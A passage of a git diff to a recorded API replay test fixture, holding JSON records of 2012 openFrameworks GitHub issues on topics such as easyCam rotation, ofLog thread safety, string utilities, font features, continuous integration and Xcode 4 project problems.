is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3795495,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3754055,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3710293,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3662214,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3647640,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3631618,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3627067,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3614231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testInterruptedIterationInSlice.txt b/tests/ReplayData/PaginatedList.testInterruptedIterationInSlice.txt index 3067def9dd..41fb01372a 100644 --- a/tests/ReplayData/PaginatedList.testInterruptedIterationInSlice.txt +++ b/tests/ReplayData/PaginatedList.testInterruptedIterationInSlice.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '55788'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"866bf23c3eacebec1bf87ae32d99f1d0"'), ('date', 'Tue, 29 May 2012 20:18:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911629,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911537,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910580,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push 